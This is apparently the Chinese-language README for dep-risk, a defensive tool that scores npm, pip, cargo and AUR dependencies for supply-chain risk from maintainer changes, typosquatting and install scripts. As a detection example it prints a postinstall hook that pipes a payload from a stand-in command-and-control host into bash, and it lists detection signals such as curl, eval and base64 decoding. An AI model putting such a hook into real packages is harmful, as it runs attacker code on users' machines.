dilates/dep-risk
GitHub: dilates/dep-risk
一款支持 npm、pip、cargo 和 AUR 生态的供应链风险评分器,通过行为分析识别传统 CVE 扫描器遗漏的恶意或高风险依赖。
Stars: 0 | Forks: 0
# dep-risk
**适用于 npm、pip、cargo 和 AUR 依赖的供应链风险评分器。**
[](https://python.org)
[](LICENSE)
[](https://github.com/dilates/dep-risk)
*捕获 CVE 扫描器遗漏的攻击 —— 维护者接管、域名抢注、恶意安装脚本以及所有权转移。*
[安装](#installation) · [快速开始](#quick-start) · [工作原理](#how-it-works) · [CI 集成](#ci-integration) · [配置](#configuration) · [常见问题](#faq)
## 为什么选择 dep-risk?
Snyk 和 Dependabot 在捕获已知 CVE 方面表现出色。但它们对以下情况视而不见:
- 一个上周其维护者账号被卖给恶意攻击者的流行 npm 包
- 一个距离 `requests` 只有一个拼写错误的 Python 包 —— 并且是昨天刚上传的
- 一个其 `postinstall` 脚本悄悄使用 `curl` 下载远程 payload 的 crate
- 一个被标记为已弃用,但每周仍有数千次安装量的 GitHub 仓库
- 一个其 PKGBUILD 被修改以解码并执行 base64 payload 的 AUR 包
dep-risk 弥补了这一空白。它通过七个行为维度对每个依赖项进行评分,并标记出那些需要重点关注的依赖项 —— 在它们进入生产环境之前。
## 终端输出
```
╭─────────────────────────────────────────────────────────────╮
│ dep-risk scan — ./my-project │
│ 127 packages scanned across 4 ecosystems │
│ Completed in 4.2s (cached: 89, fresh: 38) │
╰─────────────────────────────────────────────────────────────╯
CRITICAL 2 ████
HIGH 7 ██████████████
MEDIUM 18 ███████████████████████████████
LOW 100
Package Version Ecosystem Score Risk Top Finding
─────────────────────────────────────────────────────────────────────────────
malicious-pkg 1.0.2 npm 94 CRITICAL Ownership transferred 2 days ago
sketchy-util 2.1.0 npm 71 CRITICAL Downloads during postinstall (curl)
old-thing 0.3.1 pip 62 HIGH Abandoned 4 years ago, no source
event-stream 3.3.6 npm 58 HIGH New maintainer added within 30 days
axios 1.4.0 npm 25 MEDIUM Single maintainer with no backup
╭─── malicious-pkg@1.0.2 (npm) — CRITICAL 94/100 ───────────────────────────╮
│ maintainer ████████████████████ 62pts Ownership transferred 2d ago │
│ install_script ████████████████ 52pts postinstall: curl | bash │
│ activity ████████ 28pts No commits in 18 months │
│ typosquat ░░░░░░░░░░░░░░░░░░░░ 0pts Not a known typosquat │
│ │
│ Registry: https://registry.npmjs.org/malicious-pkg │
│ GitHub: https://github.com/bad-actor/malicious-pkg │
╰─────────────────────────────────────────────────────────────────────────────╯
```
### 详细的评分器分析
运行 `dep-risk --verbose --min-risk medium` 会显示每个被标记包的各个评分器的详细信息:
```
╭───────────────────── axios@1.4.0 (npm) — MEDIUM 25/100 ──────────────────────╮
│ maintainer ███████████░░░░░░░░░ 55pts Single maintainer with no │
│ backup │
│ install_script ████████░░░░░░░░░░░░ 40pts Has install hook: prepare │
│ activity ░░░░░░░░░░░░░░░░░░░░ 0pts No activity concerns │
│ typosquat ░░░░░░░░░░░░░░░░░░░░ 0pts In top popular list │
│ version ███░░░░░░░░░░░░░░░░░ 15pts Weekend late-night release │
│ github ████░░░░░░░░░░░░░░░░ 20pts No GitHub repo found │
│ entropy ░░░░░░░░░░░░░░░░░░░░ 0pts Package name appears normal │
│ │
│ Registry: https://registry.npmjs.org/axios │
│ GitHub: https://github.com/axios/axios │
╰───────────────────────────────────────────────────────────────────────────────╯
```
### CI 模式
```
[CRITICAL] malicious-pkg@1.0.2 — score 94 — Ownership transferred 2 days ago
[HIGH] sketchy-util@2.1.0 — score 71 — Downloads during postinstall (curl)
[HIGH] old-thing@0.3.1 — score 62 — Abandoned 4 years ago, no source
dep-risk: 2 CRITICAL, 1 HIGH packages found. Failing CI.
```
## HTML 报告
运行 `dep-risk --output report.html` 会生成一个完全独立且没有外部依赖的 HTML 文件。
功能:
- **深色安全工具美学** —— 海军蓝背景,颜色编码的风险等级
- **交互式表格** —— 点击任意列进行排序;输入内容按包名过滤
- **侧边栏过滤器** —— 即时切换生态系统和风险等级
- **可展开的行** —— 点击“Show”以显示每个评分器的进度条、证据和链接
- **圆环图** —— 随过滤实时更新的风险分布
- **CSV 导出** —— 将当前(已过滤的)视图下载为电子表格
- **移动端响应式** —— 适用于任何屏幕宽度
- **零外部依赖** —— 单个 `.html` 文件,离线可用
```
┌────────────────────────────────────────────────────────────────────┐
│ dep-risk │ Total Critical High Medium │
│ v1.0.0 │ 127 2 7 18 │
│ │ ┌──────────────────────────────────────────┐ │
│ ./my-project │ │ Search packages... Export CSV│ │
│ 2024-01-15 │ ├──────┬───────┬───────┬───────┬─────┬─────┤ │
│ 4.2s │ │Pkg │ Ver │ Eco │ Score │Risk │ ... │ │
│ │ ├──────┼───────┼───────┼───────┼─────┼─────┤ │
│ [Donut chart] │ │mal.. │ 1.0.2 │ npm │ 94 │CRIT │ ▶ │ │
│ │ │sket..│ 2.1.0 │ npm │ 71 │CRIT │ ▶ │ │
│ Risk Level │ │old-..│ 0.3.1 │ pip │ 62 │HIGH │ ▶ │ │
│ ☑ Critical (2) │ │axios │ 1.4.0 │ npm │ 25 │MED │ ▶ │ │
│ ☑ High (7) │ └──────┴───────┴───────┴───────┴─────┴─────┘ │
│ ☑ Medium (18) │ │
│ ☑ Low (100) │ │
│ │ Generated by dep-risk v1.0.0 · github.com/dilates│
│ Ecosystem │ │
│ ☑ npm │ │
│ ☑ pip │ │
│ ☑ cargo │ │
└────────────────────────────────────────────────────────────────────┘
```
## 安装
### pip(推荐)
```
pip install dep-risk
```
### pipx(隔离环境,全局可用)
```
pipx install dep-risk
```
### 从源码安装
```
git clone https://github.com/dilates/dep-risk
cd dep-risk
pip install -e .
```
### 环境要求
- Python 3.11 或更高版本
- 首次扫描需要互联网访问(随后的扫描使用本地缓存)
- GitHub token 是可选的,但强烈建议使用(将速率限制从 60 次请求/小时提高到 5,000 次请求/小时)
## 快速开始
```
# 扫描当前目录 — 自动检测 npm、pip、cargo 和 AUR
dep-risk
# 扫描特定项目
dep-risk /path/to/my-project
# 仅显示 HIGH 和 CRITICAL 结果
dep-risk --min-risk high
# 显示每个被标记 package 的完整 scorer 明细
dep-risk --verbose
# 导出自包含的 HTML 报告
dep-risk --output report.html
# 通过管道将 JSON 输出传递给 jq
dep-risk --json | jq '.[] | select(.risk_level == "critical")'
# 包含 dev dependencies
dep-risk --include-dev
# 使用 GitHub token(或设置 GITHUB_TOKEN env var)
dep-risk --github-token ghp_yourtoken
```
## 工作原理
dep-risk 从 npm、PyPI、crates.io、AUR RPC API 和 GitHub 获取实时数据,然后通过七个评分器运行每个包。每个评分器返回一个 0-100 的分数,以及其对最终风险分数的加权贡献。
### 风险等级阈值
| 分数 | 等级 | 含义 |
|--------|-------------|---------------|
| 0–20 | `LOW` | 没有显著的供应链风险 |
| 21–45 | `MEDIUM` | 存在一些信号 —— 建议审查 |
| 46–70 | `HIGH` | 显著的信号 —— 需要人工审查 |
| 71–100 | `CRITICAL` | 未经彻底的安全审查请勿使用 |
## AUR 支持
dep-risk 会扫描项目根目录下 `packages.aur` 文件中列出的 Arch User Repository (AUR) 包。每行放置一个包名:
```
# packages.aur
yay
paru
spotify
discord
some-package=1.2.3
```
dep-risk 从 [AUR RPC API](https://aur.archlinux.org/rpc/) 获取元数据,并下载每个包的 `PKGBUILD` 进行静态分析。
### 为什么 AUR 包属于高风险
AUR 包是社区维护的 shell 脚本 (`PKGBUILD`),它们会在构建时执行任意代码。与 npm、PyPI 或 crates.io 不同,这里没有注册表级别的审查 —— 整个安全模型依赖于社区在安装前审查每个 PKGBUILD。这使得 AUR 成为主要目标:
- **孤立的包** 可以被任何人领养,并修改其 PKGBUILD
- **PKGBUILD 文件** 在运行 `makepkg` 期间拥有完整的 shell 访问权限 —— 它们可以下载、解密并执行任意 payload
- **校验和绕过** (`sha256sums=('SKIP')`) 移除了来源完整性验证
- **低投票的包** 审查构建脚本的人更少
### AUR 专属信号
| 信号 | 评分器 | 分数 |
|--------|--------|--------|
| 孤立的包(无维护者) | 维护者 | +50 |
| 维护者与原始提交者不同 | 维护者 | +30 |
| 被标记为过期 | 活跃度 | +30 |
| PKGBUILD 2年以上未更新 | 活跃度 | +30 |
| PKGBUILD 5年以上未更新 | 活跃度 | +50 |
| AUR 投票少于 10 | 活跃度 | +25 |
| AUR 投票少于 50 | 活跃度 | +10 |
| 上游仓库已归档 | 活跃度 | +35 |
| PKGBUILD 发起网络请求 (curl/wget) | 安装脚本 | +40 |
| PKGBUILD 使用了 eval/exec | 安装脚本 | +60 |
| PKGBUILD 在构建时解码 base64 | 安装脚本 | +70 |
| PKGBUILD 跳过校验和验证 (`SKIP`) | 安装脚本 | +50 |
| PKGBUILD 包含高熵内容 | 安装脚本 | +50 |
| PKGBUILD 无法获取 | 安装脚本 | +20 |
### 针对 AUR 的 CI 集成
```
# GitHub Actions — 将 packages.aur 包含在 trigger paths 中
on:
push:
paths:
- 'packages.aur'
- 'package*.json'
- 'requirements*.txt'
- 'Cargo.*'
```
```
# 仅扫描 AUR packages
dep-risk --ecosystem aur
# 扫描包括 AUR 在内的所有 ecosystems(自动检测)
dep-risk
```
## 七大评分器
### 维护者 —— 25%
检测所有权变更和可疑的维护者模式。
| 信号 | 分数 |
|--------|--------|
| 单一维护者且无备用 | +20 |
| 维护者大量流失(6个月内从 >3人 降至 1人) | +35 |
| 过去 30 天内添加了新维护者,且该维护者的其他包 <5 个 | +40 |
| 过去 **7天** 内添加了新维护者 | +60 |
| 版本之间整个维护者团队被替换 | +50 |
| 孤立的 AUR 包(无维护者) | +50 |
| AUR 维护者与原始提交者不同 | +30 |
**重要性说明:** XZ Utils 后门 (CVE-2024-3094)、event-stream 攻击以及数十起 npm 安全事件,都是从一个新的或被入侵的维护者账号获得发布权限开始的。对于 AUR,孤立的包尤其危险 —— 任何人都可以领养它们并推送恶意的 PKGBUILD。
### 安装脚本 —— 30% *(权重最高)*
npm 生态系统中排名第一的活跃攻击媒介。
| 信号 | 分数 |
|--------|--------|
| 存在 `preinstall` / `postinstall` / `install` / `prepare` 钩子 | 基础 +40 |
| 钩子包含 `curl`、`wget`、`fetch` 或 HTTP 调用 | +70 |
| 钩子包含 `eval`、`exec` 或动态生成 | +60 |
| 钩子在安装时读取 `process.env` | +30 |
| 脚本熵 > 4.5 bits/char(被混淆) | +80 |
| pip:仅包含二进制 wheel,无源码分发 | +50 |
| AUR:PKGBUILD 发起网络请求 (curl/wget) | +40 |
| AUR:PKGBUILD 使用了 eval/exec | +60 |
| AUR:PKGBUILD 在构建时解码 base64 | +70 |
| AUR:PKGBUILD 跳过校验和验证 (`SKIP`) | +50 |
| AUR:高熵的 PKGBUILD 内容 | +50 |
**被捕获的示例:**
```
"scripts": {
"postinstall": "curl https://c2.evil.example/payload.sh | bash"
}
```
分数:**110分 → 上限设为 100 → CRITICAL**
### 活跃度 —— 15%
检测已废弃和僵尸包。
| 信号 | 分数 |
|--------|--------|
| 最后一次提交在 > 2 年前 | +30 |
| 最后一次提交在 > 5 年前 | +50 |
| 90 天内零提交,但有活跃的 issue 提交 | +20 |
| 注册表发布了版本,但 GitHub 上没有相应的提交(时间差 >7 天) | +40 |
| 仓库已归档 | +35 |
| 任何地方都没有源码仓库链接 | +25 |
| AUR:包被标记为过期 | +30 |
| AUR:PKGBUILD 2年以上未更新 | +30 |
| AUR:PKGBUILD 5年以上未更新 | +50 |
| AUR:投票少于 10 | +25 |
| AUR:投票少于 50 | +10 |
### 域名抢注 —— 20%
使用 Damerau-Levenshtein 距离,将每个包名与每个生态系统前 1,000 个最流行包的精选列表进行比对。
| 信号 | 分数 |
|--------|--------|
| 与某个流行包的编辑距离为 1 | +70 |
| 与某个流行包的编辑距离为 2 | +35 |
| 同形字替换 (l↔1, O↔0, rn↔m, vv↔w) | +80 |
| 复数变体 (`flask` → `flasks`) | +35 |
| 数字变体 (`axios` → `axios2`) | +25 |
**属于**前 1,000 名列表中的包将自动评为 0 分 —— 流行的包不会出现误报。
### 版本异常 —— 10%
| 信号 | 分数 |
|--------|--------|
| 版本在 UTC 时间周末凌晨 2点至 5点之间发布 | +15 |
| 24 小时内发布了两个主要版本 | +25 |
| 大版本跳跃 (例如 1.0.1 → 1.9.9) | +20 |
| 版本被撤回 / 取消发布后重新发布 | +30 |
| 此账号发布的第一个包 | +20 |
### GitHub 健康度 —— 10%
| 信号 | 分数 |
|--------|--------|
| 未找到 GitHub 仓库 | +20 |
| 仓库已归档 | +35 |
| Star 数 < 10 | +30 |
| Fork 数 > Star 数的 3 倍 | +20 |
| 200+ 个打开的 issue 且近期无回复 | +25 |
| 无许可证 | +20 |
| 主题包含 `deprecated`、`unmaintained`、`archived` | +40 |
### 名称熵 —— 5%
| 信号 | 分数 |
|--------|--------|
| 香农熵 > 3.8 bits/char(看起来像随机的名称) | +30 |
| 混合大小写加数字的不寻常模式 | +20 |
| 名称长度为 1-2 个字符(高抢注风险) | +15 |
| 常见单词后加数字 (`lodash3`, `vue2`) | +25 |
## 使用场景
### 1. 合并前的依赖审计
在合并任何添加或升级依赖的 PR 之前运行 dep-risk。将其整合到你的 PR 检查清单中:
```
dep-risk --ci --fail-on high --min-risk medium
```
如果新依赖的分数为 HIGH 或 CRITICAL,审查人员可以确切地看到原因。
### 2. 定期的供应链监控
你的依赖项没有改变,但维护者会变。上个月安全的包昨天可能已经转移了所有权。每周运行一次 dep-risk 来捕获这种情况:
```
# 每周 cron — 对任何新的 HIGH 发现发出警报
dep-risk --ci --fail-on high --no-cache
```
### 3. 对不熟悉代码库的安全审计
加入新项目?运行 dep-risk 以获取依赖树的快速风险图谱:
```
dep-risk /path/to/project --min-risk medium --output audit-report.html --verbose
```
HTML 报告为你提供了一个可过滤、可排序的表格,你可以与利益相关者分享 —— 无需使用终端。
### 4. 仅针对新包的 CI 门禁
使用 JSON 输出,可以仅对新添加的依赖项进行拦截,而不会阻止现有的依赖项:
```
# 在 CI 中:与 known-good baseline 进行比较
dep-risk --json > current.json
jq --slurpfile base baseline.json '
. as $curr |
$curr | map(select(.risk_level == "critical" or .risk_level == "high")) |
map(select(.name as $n | $base[0] | map(.name) | index($n) | not))
' current.json
```
### 5. 调查特定包
结合 `--json` 和 `jq`,dep-risk 还可以作为包情报工具使用:
```
# 单个 package 的完整 profile
dep-risk . --json | jq '.[] | select(.name == "some-package")'
# 列出所有带有 install scripts 的 packages
dep-risk . --json | jq '.[] | select(.scores.install_script.score > 0) | {name, version, finding: .scores.install_script.finding}'
# 查找有 ownership 变更的 packages
dep-risk . --json | jq '.[] | select(.scores.maintainer.evidence.ownership_transfer == true)'
```
### 6. 生成高管报告
```
dep-risk . --output security-report.html
```
HTML 报告是完全自包含的 —— 无需服务器,外部依赖,数据也不会离开你的机器。直接将其通过电子邮件发送给你的安全团队。
## CI 集成
### GitHub Actions
```
name: Supply Chain Audit
on:
push:
paths:
- 'package*.json'
- 'requirements*.txt'
- 'Cargo.*'
- 'Pipfile*'
- 'pyproject.toml'
- 'packages.aur'
schedule:
- cron: '0 8 * * 1' # also run every Monday
jobs:
dep-risk:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: '3.11'
- name: Install dep-risk
run: pip install dep-risk
- name: Run supply chain audit
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: dep-risk --ci --fail-on high
# AUR packages are auto-detected if packages.aur exists
- name: Upload HTML report
if: always()
uses: actions/upload-artifact@v4
with:
name: dep-risk-report
path: report.html
# Generate the report regardless of pass/fail:
# run: dep-risk --output report.html || true
```
### GitLab CI
```
dep-risk:
stage: security
image: python:3.11-slim
before_script:
- pip install dep-risk
script:
- dep-risk --ci --fail-on high
artifacts:
when: always
paths:
- report.html
expire_in: 30 days
rules:
- changes:
- package*.json
- requirements*.txt
- Cargo.*
- packages.aur
```
### Pre-commit Hook
```
# .pre-commit-config.yaml
repos:
- repo: local
hooks:
- id: dep-risk
name: Supply chain risk check
language: python
entry: dep-risk --ci --fail-on critical
additional_dependencies: [dep-risk]
files: ^(package\.json|requirements.*\.txt|Cargo\.toml|pyproject\.toml|packages\.aur)$
pass_filenames: false
```
### Makefile
```
.PHONY: security
security:
dep-risk --ci --fail-on high --output security-report.html
@echo "Report saved to security-report.html"
```
## JSON 输出
所有数据都支持管道处理。`--json` 标志会写入 stdout;所有进度输出都会发送到 stderr。
```
dep-risk --json | jq '.[] | select(.risk_level == "critical")'
```
**输出 schema:**
```
{
"name": "event-stream",
"version": "3.3.6",
"ecosystem": "npm",
"registry_url": "https://registry.npmjs.org/event-stream",
"github_url": "https://github.com/dominictarr/event-stream",
"total_score": 71.0,
"risk_level": "critical",
"flags": [
"New maintainer added within 30 days: right9ctrl",
"Has install hook: postinstall",
"Downloads during postinstall (curl)"
],
"fetch_errors": [],
"scores": {
"maintainer": {
"scorer": "maintainer",
"score": 40.0,
"weight": 0.25,
"finding": "New maintainer added within 30 days: right9ctrl",
"detail": "New maintainer 'right9ctrl' added 22 days ago",
"evidence": {
"new_maintainer_right9ctrl": "2018-09-09T05:34:15.000Z"
}
},
"install_script": {
"scorer": "install_script",
"score": 110.0,
"weight": 0.30,
"finding": "Downloads during postinstall (curl)",
"detail": "postinstall script makes network requests",
"evidence": {
"scripts": { "postinstall": "node ./install.js" },
"postinstall_downloads": true
}
}
}
}
```
## 配置
在项目根目录下创建 `.dep-risk.toml`,或者在主目录下创建 `~/.dep-risk.toml` 作为全局默认配置。
```
[dep-risk]
# 要跳过的 Packages — 已知安全的内部或 vendor packages
exclude = ["my-internal-lib", "company-design-system"]
# 在终端中显示的最低 risk level
min_risk = "medium"
# 包含 dev/test dependencies(默认为 false)
include_dev = false
# CI failure threshold
fail_on = "high"
# GitHub token — 建议优先使用 GITHUB_TOKEN env var
github_token = ""
# Parallel fetch workers(针对大型 monorepos 增加)
workers = 10
# Override scorer weights — 将被重新归一化,使其总和为 1.0
[dep-risk.weights]
maintainer = 0.25
activity = 0.15
install_script = 0.30
typosquat = 0.20
version = 0.10
github = 0.10
entropy = 0.05
```
配置文件的查找顺序如下:
1. 通过 `--config` 传递的路径
2. 当前目录下的 `.dep-risk.toml`
3. 主目录下的 `~/.dep-risk.toml`
## 缓存
所有注册表和 GitHub API 的响应都会本地缓存在 `~/.cache/dep-risk/cache.db` (SQLite) 中。
| 数据源 | 默认 TTL |
|----------------|-------------|
| npm registry | 1 小时 |
| PyPI | 1 小时 |
| crates.io | 1 小时 |
| AUR RPC API | 1 小时 |
| AUR PKGBUILD | 1 小时 |
| GitHub API | 6 小时 |
```
# 强制获取新数据(bypass cache)
dep-risk --no-cache
```
每次运行时都会自动清理过期的缓存条目。
## 完整的 CLI 参考
```
dep-risk [PATH] [OPTIONS]
Arguments:
PATH Directory to scan (default: current directory)
Scan options:
--ecosystem {npm,pip,cargo,aur,auto} Ecosystems to scan (default: auto-detect)
--include-dev Include dev/test dependencies
--min-risk {low,medium,high,critical} Minimum level to display
Output options:
--output FILE Export self-contained HTML report
--json Write JSON array to stdout (stderr for progress)
--verbose Show per-scorer breakdown for all flagged packages
CI options:
--ci CI mode — structured output, non-zero exit on failures
--fail-on {low,medium,high,critical} Failure threshold (default: high)
Fetch options:
--no-cache Bypass cache, always fetch fresh
--github-token TOKEN GitHub API token (or GITHUB_TOKEN env var)
--workers N Concurrent fetch workers (default: 10)
Other:
--config PATH Path to .dep-risk.toml config file
--version Show version and author link
--verbose Detailed scorer output per package
```
## 常见问题
### dep-risk 会取代 Snyk / Dependabot / npm audit 吗?
不 —— 它并没有这个打算。dep-risk 是互补的。CVE 扫描器告诉你现有包中已知的漏洞。dep-risk 告诉你 CVE 数据库不跟踪的*行为*和*来源*风险信号:现在谁拥有该包,安装脚本是否发起了网络调用,包名是否看起来像是域名抢注。
两者请配合使用。
### 为什么一个众所周知的包会显示 MEDIUM 分数?
对合法包产生误报的最常见原因:
1. **单一维护者** —— 许多流行的单人维护包在维护者信号上会得 +20 分。这是故意的:巴士因子(Bus factor)是一个真实的风险。使用 `exclude = ["package-name"]` 排除受信任的单人维护包。
2. **`prepare` / `postinstall` 脚本** —— 像 `husky`、`electron` 这样的框架包以及许多原生插件合理地运行了安装后脚本。如果你已经审查了脚本并确认它是安全的,请排除该包。
3. **低 GitHub star 数** —— 新包或从其他仓库迁移过来的包可能 star 数较低。star 信号的权重很低 (10%),并且只有在包的 star 数少于 10 个时才会触发。
4. **周末发布** —— 开源维护者按照自己的时间表发布。这是一个权重非常低的信号(版本评分器总权重 = 10%,其中的周末信号 = 15 分)。
### 我该如何针对我的项目进行调整?
**通过提高最低风险等级来减少干扰:**
```
[dep-risk]
min_risk = "high"
fail_on = "critical"
```
**通过排除已知安全的包来减少干扰:**
```
[dep-risk]
exclude = [
"electron", # known postinstall script
"husky", # known postinstall script
"my-private-pkg", # internal package
]
```
**降低你认为对技术栈信号意义不大的权重:**
```
# 对于 build.rs 为通用的 Rust 项目:
[dep-risk.weights]
install_script = 0.10
maintainer = 0.35
typosquat = 0.25
activity = 0.15
version = 0.08
github = 0.05
entropy = 0.02
```
权重会自动重新标准化 —— 它们不需要总和刚好为 1.0。
### 会收集哪些数据?dep-risk 会把我的依赖列表发送到其他地方吗?
dep-risk 仅向官方包注册表 (registry.npmjs.org, pypi.org, crates.io) 和 GitHub API 发出外部请求 —— 这与你的包管理器发出的请求完全相同。你项目的文件路径和依赖名称不会被发送到其他任何地方。所有响应都本地缓存在 `~/.cache/dep-risk/cache.db` 中。
### 为什么 dep-risk 需要 GitHub token?
如果没有 token,GitHub API 允许每个 IP 每小时请求 60 次。使用 token 后,该限制会提升至 5,000 次。在一个包含超过 60 个具有 GitHub 仓库依赖的项目中,你会开始触及速率限制,并且这些包将跳过 GitHub 评分器(记录在 `fetch_errors` 中)。一个没有任何范围(只读)的 token 就足够了。
```
export GITHUB_TOKEN=ghp_yourreadontlytoken
dep-risk
```
### 我的 CI 运行缓慢。我该如何加速?
1. **增加 worker:** `dep-risk --workers 20`(更多并发的 HTTP 请求)
2. **让缓存预热:** 首次运行会全新获取所有数据。在 TTL 窗口内的后续运行几乎是瞬间完成的。
3. **限定扫描范围:** 如果你只关心一个生态系统,请使用 `dep-risk --ecosystem npm`
4. **提高阈值:** `dep-risk --min-risk high` —— 这不会影响扫描时间,但会减少输出干扰
### 我可以扫描 monorepo(单体仓库)吗?
dep-risk 扫描的是单个目录。对于 monorepo,请针对每个工作区运行它:
```
for workspace in packages/*/; do
echo "--- $workspace ---"
dep-risk "$workspace" --ci --fail-on high
done
```
或者从所有工作区收集 JSON 输出:
```
for workspace in packages/*/; do
dep-risk "$workspace" --json 2>/dev/null
done | jq -s 'flatten | unique_by(.name + .ecosystem)' > combined.json
```
### 它支持 `pnpm`、`yarn`、`poetry`、`uv` 吗?
| 工具 | 支持 |
|------|---------|
| npm | ✅ 通过 `package-lock.json` |
| yarn | ✅ 通过 `package.json`(lock 文件解析:使用 `--no-lock` 模式) |
| pnpm | ✅ 通过 `package.json` |
| pip | ✅ 通过 `requirements*.txt` |
| poetry | ✅ 通过 `pyproject.toml` (`[tool.poetry]`) |
| uv | ✅ 通过 `pyproject.toml` (`[project]`) |
| Pipenv | ✅ 通过 `Pipfile` |
| cargo | ✅ 通过 `Cargo.toml` 和 `Cargo.lock` |
| AUR (Arch) | ✅ 通过 `packages.aur` |
## 开发
```
git clone https://github.com/dilates/dep-risk
cd dep-risk
python -m venv .venv && source .venv/bin/activate
pip install -e ".[dev]"
# 运行测试(无网络调用)
pytest
# 针对 bundled fixtures 运行
dep-risk tests/fixtures/ --no-cache --verbose
```
### 项目布局
```
dep_risk/
├── cli.py Entry point, argument parsing
├── scanner.py Async orchestrator — parsers → sources → scorers
├── config.py TOML config loading
├── cache.py SQLite TTL cache
├── parsers/ npm · pip · cargo · aur dependency file parsers
├── sources/ npm registry · PyPI · crates.io · AUR RPC · GitHub API clients
├── scorers/ Seven scorer modules + base dataclasses
└── report/ Rich terminal output · self-contained HTML report
```
### 添加评分器
1. 创建 `dep_risk/scorers/my_scorer.py`,实现 `async def score(dep, registry_data, github_data) -> RiskScore`
2. 将其添加到 `scanner.py` 中的 `SCORERS` 列表中
3. 在 `config.py` 中向 `DEFAULT_WEIGHTS` 添加默认权重
4. 使用测试数据在 `tests/test_scorers.py` 中编写测试
## 支持与赞助
dep-risk 是免费的开源软件。如果它帮助你避免了一次供应链事件 —— 或者只是节省了你的时间 —— 请考虑请我喝杯咖啡。
**莱特币 (LTC):**
```
LZkNEPvTt9MhGTHuYvhsGSPqw91odZRX4j
```
任何金额的支持我们都深表感谢,这有助于项目的持续维护。
## 许可证
MIT © [dilates](https://github.com/dilates)
*dep-risk v1.0.0 · [https://github.com/dilates](https://github.com/dilates)*
标签:LNA, Python, WebSocket, 依赖分析, 无后门, 逆向工具, 风险评分